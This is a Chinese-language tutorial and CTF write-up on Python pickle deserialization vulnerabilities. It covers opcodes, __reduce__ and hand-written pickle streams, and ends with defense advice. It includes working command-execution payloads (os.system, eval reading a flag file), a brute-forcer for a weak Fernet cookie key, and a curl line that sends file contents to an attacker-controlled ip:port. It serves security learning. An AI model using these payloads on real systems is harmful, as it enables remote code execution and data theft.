Python反序列化的初学习

在学习一个漏洞前必不能绕过的一个过程--了解为什么

为什么要进行序列化

序列化是将数据结构或对象转换为可以在网络上传输、存储到文件或持久化保存的格式的过程。反之,反序列化是将序列化后的数据还原成原始数据结构或对象的过程。序列化在计算机编程和数据处理中起着重要的作用,有以下几个主要原因:

  1. 数据持久化:通过序列化,可以将内存中的数据结构或对象保存到文件系统或数据库中,实现数据的持久化存储,使得数据在应用程序重启后仍然可用。

  2. 数据传输:在网络通信中,数据需要在不同的计算机之间进行传输。序列化可以将数据转换为字节流或类似格式,便于在网络上传输,并在接收端反序列化还原为原始数据。

  3. 分布式系统:在分布式系统中,各个节点需要交换数据。通过序列化,可以将数据转换为通用格式,使得不同语言或平台的系统能够互相通信。

  4. 缓存:序列化可以将数据存储到缓存中,提高应用程序的性能和响应速度。当需要使用数据时,可以从缓存中快速读取,并在必要时反序列化还原为原始数据。

  5. 进程间通信:在多进程或多线程应用程序中,不同的进程或线程之间需要共享数据。通过序列化,可以在进程间进行数据传递,实现进程间通信。

  6. 远程过程调用(RPC):在分布式系统中,RPC 允许一个进程调用另一个进程的功能。通过序列化,可以将函数参数和返回值在网络中传递。

Python序列化和PHP有什么不同

  1. 序列化格式:

    • Python:Python中的主要序列化模块是 pickle,它将数据序列化为二进制格式。pickle 能够保存几乎所有的Python对象,并且是Python特有的序列化方式。

    • PHP:PHP的主要序列化方式是 serializeunserialize 函数。它将数据序列化为一种特定的字符串格式,通常用于在PHP应用程序之间进行数据传输和持久化存储。

  2. 数据类型支持:

    • Python:pickle 能够序列化几乎所有Python的内置数据类型和自定义对象,包括列表、字典、元组、类实例等。

    • PHP:serialize 函数支持大多数 PHP 的内置数据类型和对象,但对于一些特殊类型的对象,可能需要实现特定的序列化接口。

  3. 跨语言互操作性:

    • Python:由于 pickle 是Python特有的序列化方式,它的数据格式不适用于其他编程语言。因此,使用 pickle 序列化的数据在与其他编程语言交互时可能存在一定的限制。

    • PHP:PHP的 serialize 格式在一定程度上是与其他语言的序列化格式兼容的。它可以被其他语言的序列化工具(如JavaScript的JSON)读取和解析,从而实现跨语言互操作性。

  4. 安全性:

    • Python:由于 pickle 可以序列化几乎所有的Python对象,其中可能包含恶意代码。因此,在处理不受信任的 pickle 数据时,需要格外小心,以避免安全风险。

    • PHP:PHP 的 serialize 也有类似的安全问题。反序列化不受信任的 serialize 数据可能导致代码注入漏洞。

Pickle基本知识

pickle简介

  • 与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。

  • python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。

  • 与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。

  • pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

可序列化的对象

  • NoneTrueFalse

  • 整数、浮点数、复数

  • str、byte、bytearray

  • 只包含可封存对象的集合,包括 tuple、list、set 和 dict

  • 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)

  • 定义在模块最外层的内置函数

  • 定义在模块最外层的类

  • __dict__ 属性值或 __getstate__() 函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)

pickle过程详细解读

  • pickle解析依靠Pickle Virtual Machine (PVM)进行。

  • PVM就想JAVA虚拟机那样,python会将编译好的字节码文件发送到PVM中,序列化和反序列化都是在PVM中进行的

  • PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:

  • 解析引擎:就想汽车中的发动机,从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 停止。最终留在栈顶的值将被作为反序列化对象返回。

  • 栈:由Python的list实现,被用来临时存储数据、参数以及对象。栈区又叫数据暂存区,用于暂存在处理过程中的流数据,在不断的进出栈中实现对数据的反序列化,并最后在栈上生成反序列化的结果,栈是先进后出

  • memo:由Python的dict实现,为PVM的生命周期提供存储。说人话:将反序列化完成的数据以 key-value 的形式储存在memo中,以便后来使用。

    这里借用hachp1师傅对pickl反序列化讲解中的图(以下动图均是)

    这是原PDF(BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)

1690252886813-6bb1decf-32f0-4196-933c-3caa0562883a

  • PVM解析 __reduce__() 的过程动图:

1690252929397-cc8cbbdc-8903-4283-b5de-7ee22a247fa0

Pickl库中针对序列化和反序列化的方法有

pickle.dump()   #传入一个文件句柄,以二进制的形式写入
pickle.dumps()   #参数为字符串,返回一个序列化的byte对象
pickle.load()   #同样是操作文件句柄,以二进制形式读取
pickle.loads()   #直接从bytes对象中读取序列化值

opcode简介

opcode版本

  • pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。目前,pickle有6种版本。

import pickle
​
a='NobodyCares'
​
for i in range(6):
    print(f'pickle版本{i}',pickle.dumps(a,protocol=i))
​
# 输出:
pickle版本0 b'VNobodyCares\np0\n.'
pickle版本1 b'X\x0b\x00\x00\x00NobodyCaresq\x00.'
pickle版本2 b'\x80\x02X\x0b\x00\x00\x00NobodyCaresq\x00.'
pickle版本3 b'\x80\x03X\x0b\x00\x00\x00NobodyCaresq\x00.'
pickle版本4 b'\x80\x04\x95\x0f\x00\x00\x00\x00\x00\x00\x00\x8c\x0bNobodyCares\x94.'
pickle版本5 b'\x80\x05\x95\x0f\x00\x00\x00\x00\x00\x00\x00\x8c\x0bNobodyCares\x94.'
​
v0版协议是原始的"人类可读"协议, 并且向后兼容早期版本的Python.
v1版协议是较早的二进制格式, 它也与早期版本的Python兼容.
v2版协议是在Python 2.3中引入的, 它为存储new-style class提供了更高效的机制, 参阅PEP 307.
v3版协议添加于Python 3.0, 它具有对bytes对象的显式支持, 且无法被Python 2.x打开, 这是目前默认使用的协议, 也是在要求与其他Python 3版本兼容时的推荐协议.
v4版协议添加于Python 3.4, 它支持存储非常大的对象, 能存储更多种类的对象, 还包括一些针对数据格式的优化, 参阅PEP 3154.
v5版协议添加于Python 3.8, 它支持带外数据, 加速带内数据处理.
  • pickle0版本和3版本的opcode示例:

import pickle
​
a = 'abcd'
p0 = pickle.dumps(a, protocol=0)
p3 = pickle.dumps(a, protocol=3)
print(p0)
print(p3)
​
#  p0
#b'Vabcd\np0\n.'  
​
#  p3
#b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'  
​
# V实例化一个UNICODE字符串对象
# p 将栈顶对象储存至memo_n;p0使用 "p" 操作码将先前序列化的对象(在此处为 'abcd')放入 pickle 中,并将其与引用编号 0 关联。这是为了在
#后续需要时可以使用引用 0 来引用相同的对象,避免重复序列化相同的数据。
# \x80:协议头声明 \x03:协议版本
# \x04\x00\x00\x00:数据长度:4
# X 表示 bytes 类型数据的开始
# abcd:数据
# q:储存栈顶的字符串长度:一个字节(即\x00)
# \x00:栈顶位置
# .:数据截止

可以看出0版本的opcode最简洁好写,没有检测的情况下一般手写opcode也选择0版本的

一个简单的demo

#encoding: utf-8
import os
import pickle
class test(object):
    def __reduce__(self):
        return (os.system,('whoami',))
a=test()
payload=pickle.dumps(a,protocol=3)
print(payload)
pickle.loads(payload)
#b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
#nbc\nbc
​
# \x80:协议头声明 \x03:协议版本
# \x06\x00\x00\x00:数据长度:6  ->  whoami
# whoami:数据
# q:储存栈顶的字符串长度:一个字节(即\x00)
# \x00:栈顶位置
# . :数据截止
# c:读取新的一行作为模块名module,读取下一行作为对象名object,nt ->windows,posix -> linux
# (:将一个标记对象插入到堆栈中。
# S: 实例化一个字符串对象
# p:将堆栈中索引为-1的对应存储入内存。
# t:构建元组压入堆栈。
# R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。

pickle的部分opcode表格下面有

pickletools

  • 使用pickletools可以方便的将opcode转化为便于肉眼读取的形式,是 Python 中的一个标准库模块,用于分析和显示 pickle 字节码的工具集。它提供了一些函数,可以帮助你查看和理解 pickle 字节码的结构,包括操作码(opcode)、引用指令等。

import pickletools
​
data = b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
print(pickletools.dis(data))
​
​
    0: \x80 PROTO      3
    2: c    GLOBAL     'nt system'
   13: q    BINPUT     0
   15: X    BINUNICODE 'whoami'
   26: q    BINPUT     1
   28: \x85 TUPLE1
   29: q    BINPUT     2
   31: R    REDUCE
   32: q    BINPUT     3
   34: .    STOP
highest protocol among opcodes = 2
None

漏洞利用

利用思路

  • 任意代码执行或命令执行。

  • 变量覆盖,通过覆盖一些凭证达到绕过身份验证的目的。

认识方法

Pickle 不仅仅可以用于内建类型,任何遵守 pickle 协议的类都可以被 pickle 。 Pickle 协议有四个可选方法,可以让类自定义它们的行为

最常用的reduce(不知道的情况下就按照你规定的来)

reduce(self)

当序列化和反序列化遇到一无所知的扩展类型的时候,可以通过在类中定义reduce的方式来告诉PVM如何进行序列化或反序列化,也就是说我们定义了reduce之后,我们就能在序列化的时候让这个类根据我们在reduce 中指定的方式进行序列化

reduce_ex(self)

reduce_ex 的存在是为了兼容性。如果它被定义,在 pickle 时 reduce_ex 会代替reduce 被调用。 reduce 也可以被定义,用于不支持 reduce_ex 的旧版 pickle 的 API 调用。

object.__reduce__() 函数
  • 在开发时,可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。具体而言,python要求 object.__reduce__() 返回一个 (callable, ([para1,para2...])[,...]) 的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。

  • 在下文pickle的opcode中, R 的作用与 object.__reduce__() 关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实 R 正好对应 object.__reduce__() 函数, object.__reduce__() 的返回值会作为 R 的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了 R 的。

其他

getinitargs(self)

如果你想让你的类在反 pickle 时调用 init ,你可以定义 getinitargs(self) ,它会返回一 个参数元组,这个元组会传递给 init 。注意,这个方法只能用于旧式类。

getnewargs(self)

对新式类来说,你可以通过这个方法改变类在反 pickle 时传递给 new 的参数。这个方法应该返回一个参数元组。

getstate(self)

你可以自定义对象被 pickle 时被存储的状态,而不使用对象的 dict 属性。这个状态在对象被反 pickle 时会被 setstate 使用。

setstate(self)

当一个对象被反 pickle 时,如果定义了 setstate ,对象的状态会传递给这个魔法方法,而不是直接应用到对象的 dict 属性。这个魔法方法和 getstate 相互依存:当这两个方法都被定义 时,你可以在 Pickle 时使用任何方法保存对象的任何状态。

初步认识:pickle EXP的简单demo

import pickle
import os

class poc(object):
    def __reduce__(self):
        s = """whoami"""  # 要执行的命令
        return os.system, (s,)        # reduce函数必须返回元组或字符串

e = poc()
poc = pickle.dumps(e)

print(poc) # 此时,如果 pickle.loads(poc),就会执行命令
  • 变量覆盖

import pickle

key1 = b'321'
key2 = b'123'
class A(object):
    def __reduce__(self):
        return (exec,("key1=b'1'\nkey2=b'2'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key1, key2)
#b"\x80\x04\x95/\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04exec\x94\x93\x94\x8c\x13key1=b'1'\nkey2=b'2'\x94\x85\x94R\x94."
#b'1' b'2'

手写opcode

  • 在CTF中,很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用 __reduce__ 来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。

  • 在这里可以体会到为何pickle是一种语言,直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要符合pickle语法,就可以进行变量覆盖、函数执行等操作。

  • 根据前文不同版本的opcode可以看出,版本0的opcode更方便阅读,所以手动编写时,一般选用版本0的opcode。下文中,所有opcode为版本0的opcode。

常用opcode解析

为了充分理解栈的作用,还是通过动图:(原PDF

3

hachp1佬总结的常用的opcode:

opcode

描述

具体写法

栈上的变化

memo上的变化

c

获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)

c[module]\n[instance]\n

获得的对象入栈

o

寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

o

这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈

i

相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

i[module]\n[callable]\n

这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈

N

实例化一个None

N

获得的对象入栈

S

实例化一个字符串对象

S'xxx'\n(也可以使用双引号、'等python字符串形式)

获得的对象入栈

V

实例化一个UNICODE字符串对象

Vxxx\n

获得的对象入栈

I

实例化一个int对象

Ixxx\n

获得的对象入栈

F

实例化一个float对象

Fx.x\n

获得的对象入栈

R

选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数

R

函数和参数出栈,函数的返回值入栈

.

程序结束,栈顶的一个元素作为pickle.loads()的返回值

.

(

向栈中压入一个MARK标记

(

MARK标记入栈

t

寻找栈中的上一个MARK,并组合之间的数据为元组

t

MARK标记以及被组合的数据出栈,获得的对象入栈

)

向栈中直接压入一个空元组

)

空元组入栈

l

寻找栈中的上一个MARK,并组合之间的数据为列表

l

MARK标记以及被组合的数据出栈,获得的对象入栈

]

向栈中直接压入一个空列表

]

空列表入栈

d

寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)

d

MARK标记以及被组合的数据出栈,获得的对象入栈

}

向栈中直接压入一个空字典

}

空字典入栈

p

将栈顶对象储存至memo_n

pn\n

对象被储存

g

将memo_n的对象压栈

gn\n

对象被压栈

0

丢弃栈顶对象

0

栈顶对象被丢弃

b

使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置

b

栈上第一个元素出栈

s

将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中

s

第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新

u

寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中

u

MARK标记以及被组合的数据出栈,字典被更新

a

将栈的第一个元素append到第二个元素(列表)中

a

栈顶元素出栈,第二个元素(列表)被更新

e

寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中

e

MARK标记以及被组合的数据出栈,列表被更新

此外, TRUE 可以用 I 表示: b'I01\n'FALSE 也可以用 I 表示: b'I00\n' ,其他opcode可以在pickle库的源代码中找到。 由这些opcode我们可以得到一些需要注意的地方:

  • 编写opcode时要想象栈中的数据,以正确使用每种opcode。

  • 在理解时注意与python本身的操作对照(比如python列表的append对应aextend对应e;字典的update对应u)。

  • c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库。

  • pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattrdict.get)才能进行。但是因为存在sub操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有ci。而如何查值也是CTF的一个重要考点。

  • sub操作符可以构造并赋值原来没有的属性、键值对。

拼接opcode

将第一个pickle流结尾表示结束的 . 去掉,将第二个pickle流与第一个拼接起来即可。

一些常见情况opcode:

全局变量覆盖

python源码:

# secret.py
name='TEST3213qkfsmfo'
# main.py
import pickle
import secret

opcode='''c__main__ #读取新的一行作为模块名module,读取下一行作为对象名object
secret
(S'name' #'('将一个标记对象插入到堆栈中# S: 实例化一个字符串对象
S'1'
db.'''#'d'寻找栈中的上一个MARK,并组合之间的数据为字典;'b'使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置

print('before:',secret.name)

output=pickle.loads(opcode.encode())

print('output:',output)
print('after:',secret.name)

首先,通过 c 获取全局变量 secret ,然后建立一个字典,并使用 b 对secret进行属性设置,使用到的payload:

opcode='''c__main__ #读取新的一行作为模块名module,读取下一行作为对象名object
secret
(S'name' #'('将一个标记对象插入到堆栈中# S: 实例化一个字符串对象
S'1'
db.'''#'d'寻找栈中的上一个MARK,并组合之间的数据为字典;'b'使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置

函数执行

与函数执行相关的opcode有三个: Rio ,所以我们可以从三个方向进行构造:

  1. R

b'''cos
system
(S'whoami'
tR.'''#t相当于)
  1. i

b'''(S'whoami'
ios
system
.'''
  1. o

b'''(cos
system
S'whoami'
o.'''

实例化对象

实例化对象是一种特殊的函数执行,这里简单的使用 R 构造一下,其他方式类似:

class Student:
    def __init__(self, name, age):
        self.name = name
        self.age = age

data=b'''c__main__
Student
(S'XiaoMing'
S"20"
tR.'''

a=pickle.loads(data)
print(a.name,a.age)

赛题复现

[CISCN2019 华北赛区 Day1 Web2]ikun

前面jwt绕过不说了 直接后面源码

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
​
​
class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')
​
    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)
​
​

可以看到pickle.loads(urllib.unquote(become)),也就是把我们传入的内容先url解码之后再反序列化,而且没有任何的过滤,那么手写opcode也不用了,因为我们只想读一下flag.txt 直接构造(构造执行命令的payload返回的0)

import pickle
import urllib.parse
​
class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))    #打开读取flag.txt的内容
​
a = pickle.dumps(payload(),protocol=0)  #序列化payload,用python3改一下opcode版本就行
a = urllib.parse.quote(a)  #进行url编码
print(a)
​

[ISCC2023]上大号说话

输入马保国出现hint 1684742906551-8a8f7921-3a0e-409a-afed-26b9cf5e976a 输入得到源码,分析源码

from flask import Flask, request, make_response, redirect
import pickle
import pickletools
from cryptography.fernet import Fernet
import base64
​
app = Flask(__name__)
​
class Member:
    # Member 类的具体实现应在这里,但在代码中未给出
​
class ED:
    def __init__(self):
        self.file_key = ...  # 1Aa,这是一个文件密钥,暂未给出具体值
        self.cipher_suite = Fernet(self.generate_key(self.file_key))
#在类ED的构造函数中创建一个Fernet实例。Fernet是cryptography模块中的一个对称加密算法,它使用AES算法和PKCS7填充来加密和解密数据。
#self.generate_key(self.file_key):调用ED类中的generate_key()方法,使用file_key实例变量来生成一个密钥。
#总的来说这里生成一个 Fernet 密钥并将其用于加密和解密数据
    def crypto(self, base_str):
        return self.cipher_suite.encrypt(base_str)
#这里的功能就是使用 Fernet 密钥对输入的字符串进行加密,并返回加密后的结果
    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)
#这里对应上面的self.generate_key,就是任意长度字符串转换为符合要求的 Fernet 密钥。
# def decrypto(cookie):ChatGPT自己加的
#     ed = ED()
#     # 使用 Fernet 密钥对 cookie 进行解密,返回解密后的数据和额外的元数据(header)
#     f, result = ed.cipher_suite.decrypt(cookie, return_header=True)
#     return f, result
​
def check_cookies(cookie):#检查cookie
    ed = ED()
    f, result = decrypto(cookie)#解密cookie
    black_list = ...  # 黑名单,暂未给出具体内容
    if not result[0:2] == b'\x80\x03':#版本号为3的opcode
        return False
    # 这里根据解密得到的数据进行一系列的判断和操作,具体实现可能依赖于 Member 类的定义
    ...
    try:
      result = pickle.loads(result)#进行反序列化
      if result.name == 'mabaoguo' and result.random == mabaoguo.random and result.gongfu == mabaoguo.gongfu:#检查反序列化后的对象属性是否满足了要求
        return flag #满足返回flag
      else:
       return result.name #不满足返回name
    except:
       return False#这里说明不能被反序列化说明cookie不合法
@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':#检查请求方法是否是post
        name = request.form['input_field']#从请求中获取一个名为 input_field 的表单字段
        # 创建 Member 对象并进行 pickle 序列化,Member没给
        name = Member(name)
        name_pick = pickle.dumps(name, protocol=3)
        name_pick = pickletools.optimize(name_pick)
        ed = ED()
        # 使用 ED 类的 crypto 方法对序列化后的数据进行加密,并将加密结果作为 cookie 返回给用户
        response = make_response(redirect('/'))
        response.set_cookie('name', ed.crypto(name_pick).decode())
        return response
​
    temp_cookies = request.cookies.get('name')
​
    if not temp_cookies:
        # 处理未设置 cookie 的情况
        ...
    else:
        # 对 cookie 中的数据进行验证
        f = check_cookies(temp_cookies)
        ...
​
if __name__ == '__main__':
    app.run()
​

可以发现代码不完整,可以小补一下 我们先分析代码 主要就是ED类这是一个加解密函数,对file_key的初始值通过generate_key函数生成一个新的key,再通过Fernet加密生成密钥。再是check_cookies函数,是对传进来的cookie进行检查,先解密然后检查前两个字节是否满足三号反序列化协议(b'\x80\x03')。然后进行反序列化,满足if条件就获得flag,通过pickle.loads()进行变量覆盖。 根据base64加密规则爆破出密钥

import itertools
import pickle
import cryptography
import base64
from enum import member
from json import dump
import pickletools
from cryptography.fernet import Fernet
​
​
class ED:
    def __init__(self, key):
        # self.file_key = ...  # 1Aa
        self.file_key = key
        self.cipher_suite = Fernet(self.generate_key(self.file_key))
​
    def change(self, key):
        # change方法:这个方法用于更改加密套件的密钥,它接受一个新的密钥(key)作为参数,并使用该密钥生成一个新的加密套件
        self.cipher_suite = Fernet(self.generate_key(key))
​
    def crypto(self, base_str):
        # crypto方法:这个方法用于对输入的字符串进行加密,它接受一个基本字符串(base_str)作为输入,并返回加密后的结果。
        return self.cipher_suite.encrypt(base_str)
​
    def decrypto(self, base_str):
        # 这个方法用于对输入的加密字符串进行解密,它接受一个加密字符串(base_str)作为输入,并尝试使用当前的加密套件进行解密。如果解密成功,它将打印解密后的结果并返回解密后的数据。
        print(self.cipher_suite.decrypt(base_str))
        return self.cipher_suite.decrypt(base_str)
​
    @staticmethod
    def generate_key(key: str):
        # generate_key静态方法:这是一个静态方法,用于生成加密套件所需的密钥。它接受一个字符串类型的密钥(key)作为输入,并将其转换成字节形式,然后在其末尾填充28个零,并使用base64编码进行处理,最终返回生成的密钥。
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)
    # 这段代码是将输入密钥编码成 base64 格式,并确保编码后的密钥长度为 44 字节(URL-safe base64 编码)。这个编码后的密钥将作为加密套件 (Fernet) 的密钥。
​
​
# 定义字符集
charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# # 定义密钥长度范围
min_length = 4
max_length = 4
# 循环尝试所有可能的密钥组合
for length in range(min_length, max_length + 1):
    for guess in itertools.product(charset, repeat=length):  # itertools.product()函数,用于生成指定字符集(charset)中的所有长度为length的可能组合。
        key = ''.join(guess)
        # 在此处使用密钥尝试打开加密文件或进行其他操作
        ed = ED(key=key)
        try:
            decrypted_data = ed.decrypto(
                '你的cookie')
            # 解密成功,返回结果
            print(decrypted_data)
            print(key)
        except cryptography.fernet.InvalidToken:
            # 密钥不正确,继续循环下一个密钥
            continue
#结果
5MbG

opcode

b'\x80\x03capp\nMember\n)\x81}(X\x04\x00\x00\x00nameX\x08\x00\x00\x00mabaoguoX\x06\x00\x00\x00randomcmabaoguo\nrandom\nX\x06\x00\x00\x00gongfucmabaoguo\ngongfu\nub.'
   0: \x80 PROTO      3# \x80:协议头声明 \x03:协议版本3
    2: c    GLOBAL     'app Member'#capp\nMember=>app.Member这部分表示序列化的对象为 Member 类的实例。
   14: )    EMPTY_TUPLE#向栈中直接压入一个空元组
   15: \x81 NEWOBJ #表示一个元组的开始
   16: }    EMPTY_DICT#向栈中直接压入一个空字典
   17: (    MARK#向栈中压入一个MARK标记
   18: X        BINUNICODE 'name'#X 标记主要用于较长的字符串对象
   27: X        BINUNICODE 'mabaoguo'
   40: X        BINUNICODE 'random'
   51: c        GLOBAL     'mabaoguo random'
   68: X        BINUNICODE 'gongfu'
   79: c        GLOBAL     'mabaoguo gongfu'
   96: u        SETITEMS   (MARK at 17)#寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中
   97: b    BUILD#使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置
   98: .    STOP

用ed类加密一下替换cookie得出flag位置 image.png 无法反弹shell可以用curl外带

'''\x80\x03(cos
system
X\x39\x00\x00\x00curl ip:port/`cat flagucjbgaxqef.txt| base64`o.'''

还是用题的ed加密换cookie image.png

后记

防御方法

  • 为了解决pickle反序列化的问题,官方给出了使用改写 Unpickler.find_class() 方法,引入白名单的方式来解决,并且给出警告:对于允许反序列化的对象必须要保持警惕。对于开发者而言,如果实在要给用户反序列化的权限,最好使用双白名单限制modulename并充分考虑到白名单中的各模块和各函数是否有危险

  • 鉴权,反序列化接口进行鉴权,仅允许后台管理员等特许人员才可调用

  • 白名单,限制反序列化的类

  • RASP(Runtime application self-protection,运行时应用自我保护)检测

CTF技巧

  • CTF中,pickle相关的题目一般考察对python本身(如对魔术方法和属性等)的深度理解,利用过程可以很巧妙。

  • 由于pickle“只能赋值,不能查值”的特性,唯一能够根据键值查询的操作就是find_class函数,即ci等opcode,如何根据特有的魔术方法、属性等找到突破口是关键;此外,在利用过程中,往往会借助getattrget等函数。

  • 借助pker可以比较方便的编写pickle的opcode,该工具是做题利器。

还有一件事

  • 记得学习PyYAML反序列化漏洞

  • 跟进学习Python沙箱逃逸

参考资料

pickle反序列化初探

python篇之pickle反序列化

python-反序列化

网络安全-反序列化漏洞简介、攻击与防御